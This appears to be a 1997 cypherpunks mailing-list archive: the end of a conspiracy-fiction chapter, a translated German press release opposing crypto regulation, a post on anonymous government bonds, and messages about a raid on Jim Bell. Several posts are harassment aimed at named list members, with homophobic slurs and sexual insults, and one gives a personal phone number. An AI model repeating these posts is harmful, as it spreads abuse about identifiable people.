of the gathering, "meeting of the 'Circle of Eunuchs'.

Everyone grew quiet, waiting breathlessly for Jonathan to recount
the details, which he had, in fact, learned by logging onto the
InterNet using the Cowboy's username and password.

He had been met, upon logging on, with a message informing him
that his logon, under the auspices of the Cowboy's identity, would
be invisible to anyone monitoring the system, and that he had
'system permissions' to do anything and everything he desired,
over the range of the whole InterNet computer system, even at
the highest levels of security.
Then he had been immediately launched into a text display outlining
the hitherto unknown details of the meeting chronicled in the
legendary epistle, 'The Xenix Chainsaw Massacre'-the meeting declared
to have resulted in the formation of the original 'Circle of Eunuchs'.

"A stuttering young computer whiz, named Michael," Jonathan
recounted, "took control of the meeting and suggested that
the forces they found themselves dealing with were too pervasive,
too powerful, for them to have any hope of countering by direct
action."
"His view was that, as an organized entity, they would thus
be identifiable, and traceable, and therefore in danger of almost
certain discovery and elimination. So he proposed a unique plan
of counter-attack on Gomez and the Dark Forces. He proposed that
they, as individuals, go their own, separate ways at the conclusion
of the evening, having no contact whatsoever with one another,
and doing nothing, taking no action at all, regarding
the bizarre chain of events which had brought them together."

The gathering looked at one another, mystified as to where all
this was leading, much as the original crowd had done, four centuries
earlier. They looked, as one, back at Jonathan, who smiled at
them, gave them a conspiratorial wink, and told them,
"Stuttering young Michael informed them that, since success
in action of any kind against the Evil One and his agents was
impossible, that they would have to relegate their activities
to the realm of the possible. The realm where nothing
was 'real', but all things were 'possible'-the realm of
Mythos, of myth.

The crowd looked at one another, once again, and saw that each
of them understood, now, the reason why the legend of the 'Magic
Circle' had remained just that, a legend, for as long as they
could remember.

"Michael told them that, upon their dispersal at the end
of the evening, they could communicate with one another, and with
anyone who sought to counter the Dark Forces, in one way, and
one way only-through the inner workings and concepts underlying
the operating system, currently under development, known as UNIX.

"They were to each do their part, no matter how small or
great their position, their talents, or their capacity to influence
the development of UNIX, to make it a model of the eternal
Tao."

Jonathan's eyes swept the crowd, and he could see the connections
taking place in their minds, as they realized the truth of what
he was saying.

"UNIX was to be an operating system which mirrored the Tao,
and humanity itself, being a whole entity of magnificent proportions,
but composed of individual entities, functions, programs, and
the like, which ebbed and flowed in and out of one another, each
standing alone, while at the same time being part of a greater
whole.
"A system which was powerful, by virtue of the combined strength
of its many parts, but flexible by virtue of each of its individual
parts being able to join and work with any other, or combination
of others, to accomplish whatever task was required by any user,
or group of users.

"UNIX," Jonathan intoned, "was to be the first
multi-user system, enabling each user, each individual,
to access the information, the capabilities and the tools, of
the whole system."
"Before they broke up that evening, to go their separate
ways, a second individual, introducing himself as the Son of Gomez,
to the gathering," the crowd chuckled lightly, at this reference
to the Author, "took a few minutes to speak to them about
Mythos, and the Power of Myth."

"The Author told them that the power of myth is the power
of possibility-that within the realm of myth, that anything possible,
is real, or can be real, in our world.
"He told them that Bubba Rom Dos was right, that it was essential
that there be a group of individuals banded together in a common
cause, to counter the Dark Forces' efforts to bring all of humanity
into subjection to the Evil One. He told them that Michael was
right, as well, that it was not only dangerous, but quite useless,
for them to attempt to do so directly. He told them that it was
therefore essential that they do so in the realm of Mythos, keeping
the possibility of the 'Circle of Eunuchs' alive, as an
entity-a real entity residing in the Land of Legend."

Jonathan then turned the floor over to Alexis, who was about to
put on a performance that would make Bubba's propensity for 'horseshit'
pale by comparison. The best 'pitch' of the experienced salesman,
however, is always begun with the purest of truths.

"The Cowboy," she told the gathering, "has set
in motion a plan of action which is about to bring the 'Circle
of Eunuchs' to life, as a living, breathing, entity."

There was a palpable air of hope, and excitement that surged through
the crowd, who struggled to maintain their composure, so as not
to miss a single element of what was about to be said.

"Around the world, throughout every nook and cranny of the
InterNet, there is a search taking place," most of the crowd
was well aware of that fact, it being the spark in a chain of
events that had led to most of them arriving here at this point
in time, "a search for 'Uncle', for 'Uncle Bubba', for 'Uncle
D'Shauneaux'."
"And every time that this search comes to the attention of
someone with the least bit of knowledge of the mythology of the
'Circle of Eunuchs', a spark is ignited, however small, in some
remote portion of their mind. It is a spark that is waiting, only
to be fanned, in order to break into flame-a small flame which
will throw a tiny bit of light on one part of the hidden designs
of the Evil One and his agents. But a million small flames, millions
of small flames, around the world," she noticed the crowd
nodding their assent, "will supply a blinding flash of illumination
that will reveal Gomez and the Dark Allies as the devilish agents
that they truly are."

An excited murmur of approval went through the crowd, like a shot.

"It is up to those gathered here, today, to provide the gentle
breeze that will fan those sparks, turning them into small flames
that can be united as one, to burn away the web of deceit that
Evil One has thrown over us all, through his silent control of
TV and the InterNet.
"And they will be united as one, tomorrow evening,
at sunset, when the Cowboy appears on all 500 Channels, and across
the vast expanse of the InterNet, to confirm the existence of
the legendary, magical 'Circle of Eunuchs'.

The gathered crowd broke into a spontaneous roar of applause,
turning to one another with hugs and back-slapping, overjoyed
that finally, at long last, the battle was about to begin-the
battle between the Forces of Light and the Forces of Darkness.

A battle that would finally be joined by the one hope for all
of humanity-the legendary, hitherto mythological, 'Circle of Eunuchs'.


The crowd was quickly quieted, however, by the sound of jack-boots
upon the doors, as they came crashing down, and storm-troopers
dressed in black rushed in to surround them, followed by a man
with eyes of cold, gray steel-the Shadow.


Chapter 30 - The Meeting








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 01:54:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cryto Doggrel
Message-ID: <334F4D60.4F9C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tot[h]o[mo]'s babblings are preposterous lies, wild 
distortions, child pornography (both as graphic descriptions and in JPEG 
format), ethnic slurs, and racial epithets.

  \\\\\|/////
   \\\\|////
   < * | * >
   |   *   |
    \( . )/
     \___/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 12 Apr 1997 02:52:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Balance of Terror
In-Reply-To: <199704120738.BAA15473@wombat.sk.sympatico.ca>
Message-ID: <v03007805af7519ec7157@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:45 AM -0600 4/12/97, TruthMangler wrote:

>  I know it's midnight, the drugs are kicking in, and there are
>few posts to respond to on the weekend, but please make an attempt
>to start a new thread, as opposed to taking the easy way out and
>piling new drivel on top of old drivel.
>
>Dr. TruthRoberts

Fuck you. I start more threads than anyone I know of.

Jesus. The nonsense we get with nyms.


--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tmc@got.net>
Date: Sat, 12 Apr 1997 01:54:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Hash Techniques
Message-ID: <334F4E24.2C0F@got.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto carries a turd in his wallet for identification 
purposes.

    _ _/|
   \'o.0'
   =(___)= Tot[h]o[mo]
      U






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tmc@got.net>
Date: Sat, 12 Apr 1997 01:54:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bloated Economies
Message-ID: <334F4E79.2FE4@got.net>
MIME-Version: 1.0
Content-Type: text/plain


Totohomo has been a source of endless 
embarassments to his sympathizers on and off the net.

    o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
   /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
   / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 12 Apr 1997 00:21:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: german crypto laws
Message-ID: <199704120722.DAA05153@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

This is a press release of the german Forum of Computer
Professionals for Peace and Social Responsibility (FIfF). It
discusses the crypto-proposals of the german government, which are
similar to the UK and US proposals.
Please note, that this is my own "unofficial" translation of it. All
phrases in [] are either my additional comments or are phrases, that
I couldn't translate directly.
If you want the original german text, e-mail me.

Ciao

Harka

====================================================================
                         P R E S S  R E L E A S E
                    of the Forum of computer professionals for
                         peace and social responsibility
                              Bonn, in April, 1997

     Cryptography proposals reverse constitutional rights

The Forum of computer professional for peace and social
responsibility declare the following to the recently made-public
plans and intentions to regulate cryptography internationally and
nationally:

Very obvious are the efforts to the regulation of cryptography.
After several tries guide lines to crypto-politics were worked out
at the end of march by the OECD[1]. Almost simultaneously plans from
the United States[2] and the United Kingdom[3] for new
national crypto regulations became public. Further developments
suggest, that also the [german] Federal Government has worked out
specific plans to regulate cryptographic technology in Germany.


On the current level of planning the [german] Federal Government is
considering three variations of regulation[5]:

1. A key-escrow-solution, in which providers of cryptographic
   services have to provide the keys of customers to
   law-enforcement, if necessary.

2. A key-escrow-solution, in which only federally licenced
   providers of cryptographic services are permitted to operate.

3. A key-escrow-solution with simultaneous prohibition of all not
   federally permitted technologies.

The FIfF is seeing herein a serious threat to the developement of
society, that is increasingly dependent on information transfer.
Not only is the protection of privacy now ranking below federal
surveillance wishes, but also the protection of all interactions
and transactions, that happen on electronic networks. This not
acceptable interferance [with privacy] is for technical reasons not
even accompanied by any plus sides for federal investigators.


The planning of crypto regulations make clear not only the complete
neglect of civil rights in our [german] constitution. It is
becoming a symbol for the huge deficits in understanding the
problems, possibilities and challenges of [...] an information
society.


The FIfF sees five areas, where arguments for the damage of crypto
regulations can be made:

I. Crypto regulations as last building block of surveillance

Why does cryptography have to be regulated by law? From the official
side a crypto regulation in Germany is necessary, because it's the
last missing piece to surveillance of [long distance] information
traffic. The law for "Long-distance information traffic
surveillance" (FUeV)[6] forces providers of information traffic
installations to provide the clear-text of monitored traffic to law
enforcement. This can be avoided by end-to-end cryptography by
single users. Since telefone and fax [communication] are rarely
encrypted, a regulation of cryptography would mainly affect users
of electronic networks, who can ensure the postal privacy only
through encryption.


It's underlying suggestion is, that encrypted data traffic of
suspects [of crime] in electronic networks is the norm and can't be
under surveillance. This is not true.


The current laws and regulations are forcing providers of electronic
networks to guarantee a surveillance of law enforcement and
intelligence services; this is already happening[7]. Up until now no
case is known, where the investigation of a crime was made
impossible through cryptography. Nevertheless vague threat-scenarios
are mentioned, to make an increased surveillance of information
traffic more plausible.


In Germany though it's hard to observe an under-development in
surveillance. While in the United States and it's 240 million
citizens 1229 telefone surveillance requests were granted in 1995,
Germany with 80 million citizens had in the same time 3667 requests
granted[8] - per citizen 6 times as many surveillance activities as
in the USA. In 1996 the number of granted requests increased again
175 percent to 6428 [9]. No comparison of the crime rates in
Germany and the USA can possibly explain these differences [...].
In which way these methods [of surveillance] have contributed to
crime investigation is not known, since here a control of the
[surveillance] activities is not done, as opposed to the USA.


Although deficits [in surveillance] aren't noticable, the Great
Listening Attack and crypto law are to open new fields for
surveillance. Through that basic civil rights are increasingly
limited.


II. Basic rights are reversed


The protagonists of a crypto law say, that such a regulation would
be nothing new, but only a adaption of [existing] info surveillance
to technical developments. This is wrong.


Outlawing all not licenced crypto technology is reversing current
principles of civil rights. The limitation of postal secrecy is
only permitting the control of sendings. There are no forced ways
of writing, nor are certain languages or ways of expression
prohibited. No law is prohibiting to write with secret ink or to
use any other means to make messages secret. Somebody opening
letters has to do all work of analysis himself - no sender has to
help him with a [correct] letter written according to law. A
prohibition of cryptography, despite all current systems of law,
would throw the law-conform electronic communication under the
dictat of governmentally sanctioned syntaxes. No dictatorship in
Germany has ever demanded that.


III. After all, it's your money....


Electronic networks are transporting not only letters, even the
politicians got that. Using cryptographic technologies therefore is
not limited only to postal secrecy, but also other things worthy of
protection.


Those who make crypto laws also want the control over the electronic
variants of transactions, that are currently under special privacy
protection rights. The electronic service law of the IuKDG makes it
obvious by stating explicitly electronic banking as an electronic
service. For users of online-banking, online-work and
online-medicine the bank-, service-, and medical secrecy gets
reduced to the information traffic secrecy [law]. Thus the
information traffic secrecy [law] is becoming a strategic basic
[constitutional] right. A crypto law would not only undermine this
basic right, but many others as well. Such a law is a trojan horse
[for the democratic state] in an information society.


IV. Additional problems in reality


Let's assume, a crypto law would be formulated. How would it be
[constitutional] and would it be practicable? To note is a law to
digital signatures in the IuKDG, that indicates [a limitation of
asymmetric] cryptography technologies. This leads to characteristic
problems.


1. A handing-over of an escrowed key to law-enforcement means with
currently available systems, that a unlimited surveillance of the
key-owner is possible, as long as he uses the same [unchanged] key.
This is even in the practice of surveillance an un-precedented
limitation of citizens-rights, which [out-of-proportion nature] is
also clear to cryptography experts and supporters of a [crypto] law:
No one less than Otto Leibrich, Ex-President of the Federal Agency
of Information Technology Security (BSI), publicized, how through
introducing a time-variable in cryptography technologies timely
limits should be set to surveillance[10]. But could the security
agencies have an interest in [such] a lawful technology, that could
not be decrypted anymore, when users could prevent investigation
already through a changed system date?


2. The [available to law-enforcement] private key of a suspect makes
only his incoming data traffic readable, but not his messages to
third persons. In respect to the nature of asymmetric crypto
technologies [...] proofs for an communicated agreement with third
persons to commit a crime are only to be won, if also the keys of
his communication partners are available, and beyond that in certain
circumstances even their partners. The result is a tendency of an
exponential increase of the [circle of] suspects, the surveillances
and the work-load for the investigators. Here is no proportionality
anymore nor effective Investigation.


3. Due to the lack of competent institutions, the federal
government will not be able to avoid using the infra-structure,
that it's currently creating for introducing and issuing digital
signatures, to control crypto keys as well. No law will balance the
loss of trust, when one one side the institution has to hand over
private keys to law-enforcement and on the other hand guarantees
for the security of the digital signature. Would the digital
signature get into the wrong hands, any document could be lawfully
signed. The fear of citizens is understandable, to be [powerless]
to manipulations of federal key mighties. With such a loss of trust
the federal government and companies [that support the digital
signature] shouldn't even bother [to set up the infra-structure].


4. A national crypto law is not able to adress accordingly the
problems of international traffic typical for electronic networks.
To get the crypto keys of a "Mafia Organization", the agencies of
several countries would have to be mobilized. Are the supporters of
a crypto law really serious, that an international co-operation in
getting escrowed keys would function better than the current bad
co-operation in investigating crimes, where electronic networks
were used?


5. Compared to that it's almost neglectable, how such a crypto law
would make harder the life of the software industry. To guarantee a
relation of crypto key and user on the grounds of the law, the
makers of Internet-browsers, for example, [...], would have to
refrain from distributing their products in Germany via the
Internet and instead sell software packages only [in stores] to
persons with ID. Such an effort is affordable only for a few and
wouldn't necessarely strengthen the position of the legal use of
secure systems. When beyond that different and technically
incompatible national regulations were enacted, the much cheered
upon global Electronic Commerce would remain an illusion.


V. A crypto law doesn't make the investigators smarter either


Nobody can overlook this fact: a crypto law can be easily [routed
around]. A legal cryptographic system can be used several times on a
message, in fact, a with an illegal technology encrypted message
could be "packed" in a legal system. Also a crypto law can be
avoided, so that nobody knows: Steganography and other means to use
covert channels hide messages in plain-text files, for example, and
put a veil around the very existence of an encrypted message.


- From the routing around of the crypto law, the federal security
experts hope to actually gain advantages, because out of the circle
of users of illegal crypto technologies, they could win worthy
hints about the organizational structure of the suspected circle of
people.


With the use of steganography such a group of persons is never to
become known [to law-enforcement]. But what would be won, even if a
group of people would be found, that uses the same illegal crypto
system? Their communication would not be decryptable, thus has to
be won through other means. As investigators today are already
sinking in a mountain of papers with protocols of phone
surveillances, in the future they will have to spend even more
effort to investigate groups, who have done nothing wrong but to
use an non-permitted crypto system and communicate incidently with
people, who are suspected of something. Such an effort can't even
be justified by employment-market reasonings. To stamp the users of
non-permitted cryptography automatically to suspects would be
therefore even from an investigative perspective nothing but
nonsense.


- From a technical and practical perspective, a crypto law is nonsense
and un-enforcable. [Some] lawyers though have the opinion, that
independent from the enforcement the law has to be obeyed in any
case. But such a dogmatic viewpoint is hard to balance with a
democratic society.


VI. Conclusion


The FIfF has the opinion, that a crypto law would even more
increase the already not shyly used surveillance of information
traffic in Germany. It reverses constitutional rights and
principles. It threatens drastically the constitutionally protected
citizens-rights in electronic transactions and interactions. It
would lead in practicality to severe additional problems with laws
and will certainly not make the work for investigators any easier.
The problems that come with such a regulation will also not be
solved through law-dogmatism. The severe damage for civil rights,
democracy, but also economical interests, are opposed by a very
thin advantage. With that background, every rational analysis would
therefore have to come to the conclusion, to avoid a regulation of
cryptography.


That the federal government is not doing that, despite
consultations with acknowledged experts over several years, is
either a proof for lack of knowledge or the willing neglect of the
consequences.


The very similar regulations of the OECD, Great Britains, the USA
and the West-German plans are out-of-sync with the visions of a
global, democratic information society.


VII. Demands

Instead of a limitation of cryptography it is according to the FIfF
necessary to:

1. increase the availability and use of cryptography,

2. not hinder the use of cryptography through limitations or
   prohibitions,

3. make the free choice of crypto systems possible,

4. support the development of secure crypto systems,

5. increase the protection for electronic transactions and
   interactions,

6. evaluate the use of federal surveillance of communication
   regularly, independently and in-depth.

              --------------------------
1 Cryptography Policy Guidelines; Recommendation of the Council,
http://www.oecd.org/dsti/iccp/crypto_e.html
2 http://www.cdt.org/crypto/admin_397_draft.html
3 Minister for Science and Technology: Licensing of Trusted Third
Parties for the Provision of Encryption Services;
http://www.cl.cam.ac.uk/users/rja14/dti.html
4 Presserklaerung des forschungspolitischen Sprechers von
Buendnis 90/Die Gruenen, Dr. Manuel Kiper:
http://www.gruenebt.de/aktuell/pm/indizes/in970236.htm
5 am konkretesten: C. Schulzki-Haddouti: Kanthers Kurs auf das
Kryptoverbot; in: http://www.heise.de/tp/te/1146/fhome.htm
6 vgl. die Stellungnahme des FIfF zur FUeV unter
http://hyperg.uni-paderborn.de/0x83ea6001_0x0036ce9
7 Erste Faelle einer Ueberwachung von Internet-Accounts wurden
bekannt in: 30.000 Telephonate mitgehoert; in: Sueddeutsche
Zeitung, 2.12.96, S. 15
8 USA: Newsweek 20.5.96, Bundesrepublik: Bt-Drs 13/3618
9 Bt-Drs. 13/7341
10 Otto Leiberich: Verschluesselung und Kriminalitaet II, in:
BSI-Forum der KES 1/95

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Forum InformatikerInnen fuer Frieden und         FFFF I  fff  FFFF
gesellschaftliche Verantwortung (FIfF) e.V.      F    I  f    F
Reuterstr. 44, D-53113 Bonn                      FFFF I  fff  FFFF
E-mail: fiff@fiff.gun.de                         F    I  f    F
Tel.:xx49-228-219548  Fax: -214924               F    I  f    F

CL/GRUPPEN/FIFF   und
http://hyperg.uni-paderborn.de/~FIFF
forum computer professionals for peace and social responsibility
* * * * * * * * * * * * * PGP-Key on request  * * * * * * * * *

====================================================================


/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM08quzltEBIEF0MBAQEn1gf/Ww87W3y3SrI6bK6Qg9iCgC6E40HSCkrB
2tFV3Zy+k7KtegHPrLikKhX1inJ+vEYPadHLhH1K45eGRJ/4lr4G3Pg+ozYNRalQ
KAIeoD4XQNY4nOvm6+vMlg5lOhkObB5z4pf7H5P6j48c0HSKEITPk5ExBo7g5Hcv
gl+yOrXYioEbSEScFkGYjvTh6zPNEqsr7Ma7nucON5OlqRe71Rdtn9FiGWSkxgTZ
rRg1bnB6geksL/OeKz6neYXIfWuyFEoHs19sLo7gqGcCaib6nn+bs+qrWikJeY5L
dWNzpoeqUSW46mZtUwC3IastDE2YhKuh7ffYPCG1v5AvaBG0NCZ4Sg==
=fpKk
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If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 12 Apr 1997 01:36:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199704120836.EAA11968@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] Mayonnaise studied yoga back-streching 
exercises for five years so he could blow himself 
(nobody else will).

        /////
       | @ @  Timmy C[reep] Mayonnaise
       C  _)
        \ o





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 12 Apr 1997 07:43:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Balance of Terror
In-Reply-To: <v03007805af7519ec7157@[207.167.93.63]>
Message-ID: <ggs25D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> Fuck you. I start more threads than anyone I know of.

No thank you, Timmy, we're not interested.

Besides, you claim to have killfiled half the posters - how can
you know who starts how many threads?  Are you lying again?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 12 Apr 1997 12:07:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: anonymous credit
Message-ID: <199704121752.KAA03393@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Wei Dai, <weidai@eskimo.com>, writes:
> The idea goes like this.  The government announces a new series of
> anonymous zero-coupon treasury bonds that mature in 10 years, backed by a
> special lump-sum tax to be collected when the bonds mature.  The proceeds
> of the bond auction and the tax are distributed equally among everyone.
> So basicly, the government forces everyone to take out a loan on the
> credit market and guarantees its collection.  Anyone who does not want the
> loan anonymously buys treasury bonds with all of his distribution, holds
> them for 10 years, redeems them at maturity and uses the proceeds to pay
> off the lump-sum tax.

I think this is a very intriguing idea.  Let me try to spell it out in
more detail with some concrete numbers.

A zero-coupon bond is one with a purchase price less than its face value.
After the maturation of the bond, it can be redeemed for its face value.
The purchaser of such a bond is loaning money to its buyer, and he will
be paid off at the end of the loan period with more money than he put in.

For a ten year bond, maybe the purchase price is 1/2 its face value.  A
$1000 bond would be purchased for $500, and redeemed in 10 years for $1000.

An "anonymous" bond would be a bearer bond, one which is sold without any
record of who bought it, and which can be redeemed at maturity by whomever
holds it.

In the example above, the U.S. government sells, say, $1 billion worth of
these 10 year zero coupon bonds.  It will have to pay back $2 billion in
ten years at maturity.  The $1 billion in revenues is then distributed
evenly to everyone in the country.  Assuming a population of 250 million,
each man, woman, and child gets $4.

In ten years, in order to pay off the redeemed bonds, $2 billion of special
taxes will be collected.  This will amount to $8 per person.

As Wei says, each person in the country (who doesn't participate in the
bond sale) is given $4 now, and must pay $8 in ten years.  In effect he
is given a $4 loan, payable in ten years.

If he does not want that loan, he can take his anticipated $4 and buy $4
worth of the bonds during the bond sale.  This produces no gain or loss
of money, but he gets the bond.  Then, in ten years, he turns in his bond
for $8, and uses that to pay off the $8 in taxes.  He ends up without
any change in his financial state, neither loaning nor borrowing money.

(There is a slight complication in that at the time of the bond sale,
people who want to offset their loan with a bond purchase won't yet have
the loan funds to buy the bond; and at the end, people want to pay
off their tax with the bond redemption, but the government can't redeem
the bonds until it collects the tax.  I'm not sure if this is a serious
problem or not.)

Now, if this picture is correct, this isn't exactly how I would have
thought of an anonymous loan.  The people receiving the distributed
revenues from the bond sale are essentially borrowing money from the
government.  Every borrower is identified, and must pay back his loan
in ten years via his taxes.  So the loans are fully identified and
not anonymous.

What does happen though is that some (or most?) of the people can offset
their loan by anonymously lending money (buying bonds).  In effect
they have borrowed money from the government, non-anonymously, but then
have the option of lending all of it back, anonymously.  At the end, it
is impossible to know which people have retained their loans and which
people have cancelled them.  So you don't know who has borrowed money,
and this therefore is effectivelly equivalent to an anonymous loan.

> The fatal flaw, of course, is that there is no reason why the government
> would want to help people get anonymous loans.  Can anyone find a way to
> fix this?

Maybe a non-governmental body could be used in place of the government.
Suppose a group of people wanted to allow some members to borrow
money anonymously.  For example, a church group wants to help members
through tough times via loans, but they don't want the recipients to
be identified and bear the stigma of needing charity.

Wei's idea could still be used: the church sells its own bonds, redeemable
at some future date for more than the face value.  The funds from the
sale are distributed evenly to all members.  Members who don't want to
borrow make purchases at least equal to their receipts.  Then, after
the time period, everybody has to pay a special membership fee ("tax")
so that the bonds can be redeemed.  If some people can't pay, the other
members will have to be willing to pay more to cover their defaults.

One practical problem with this idea is that the amount of money loaned
per person is small compared to the volume of transactions going on,
especially for large groups.  In my example above, each person only
anonymously borrowed $4, given $1 billion worth of transactions.  That's a
lot of paperwork with associated transaction costs for a small value.
With smaller groups the idea might actually be more practical, although
there is less anonymity then.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 12 Apr 1997 09:53:59 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: One-time pads
In-Reply-To: <199704120836.EAA11968@dhp.com>
Message-ID: <Pine.A41.3.95.970412105314.114424A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 12 Apr 1997, lucifer Anonymous Remailer wrote:

> Timmy C[reep] Mayonnaise studied yoga back-streching 
> exercises for five years so he could blow himself 
> (nobody else will).
> 
>         /////
>        | @ @  Timmy C[reep] Mayonnaise
>        C  _)
>         \ o
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sat, 12 Apr 1997 11:40:22 -0700 (PDT)
To: Sergey Goldgaber <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
Message-ID: <199704121840.LAA06367@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:43 4/10/97 -0400, Sergey Goldgaber wrote:
>On Wed, 9 Apr 1997, Greg Broiles wrote:

>- -> I realize that we're talking about net-time, but "long before" seems
like a
>- -> poor way to describe the 2-2.5 days between the appearance of the "IRS
>- -> Inspection" report (which was, in fact, the transcription of newspaper
story)
>
>Time flies fast on the Internet; or haven't you noticed?  Three days of rather
>heated discussion took place between the time the arrest was announced and 
>your message saying that you had the warrants, etc.

For the record, I was never arrested and so far haven't been charged with
anything.  They're mightily pissed, however, and who knows what'll happen in
the future.  However, the local news was pretty embarrassing to them, and
they've unintentionally alerted the media that there is actually a story to
be covered, although it wasn't the one they wanted!

The local newspaper is putting the essay on their website, or so I hear, so
the public is going to be able to bypass all of the government hype and get
to the real issue.





Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sat, 12 Apr 1997 12:24:21 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: Jim Bell raid
Message-ID: <199704121924.MAA16622@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 20:05 4/04/97 -0500, John Young wrote:
>Now that's Assassination Politics to feed the lust of the best and brightest
>of all nations, if not that of a few of the overmuch AP protestors here.
>
>Jim's telephone number: 1-360-686-3911

My _correct_ phone number is 1-360-696-3911.  Sorry that I didn't notice the
error until now.  


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Apr 1997 13:50:47 -0700 (PDT)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"?
In-Reply-To: <860759798.116769.0@fatmans.demon.co.uk>
Message-ID: <19970412134742.15722@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Apr 11, 1997 at 06:34:48PM -0500, Igor Chudov @ home wrote:
> market efficiency and chaos are not necessarily mutually exlusive
> 
> 	- Igor.

True.  Also, there are two kinds of efficiency.  The "efficient" in 
eg, "efficient market hypothesis" is different from the "efficient" 
in "markets are more efficient than planned economies".

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Apr 1997 07:08:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Hash Techniques
In-Reply-To: <334F4E24.2C0F@got.net>
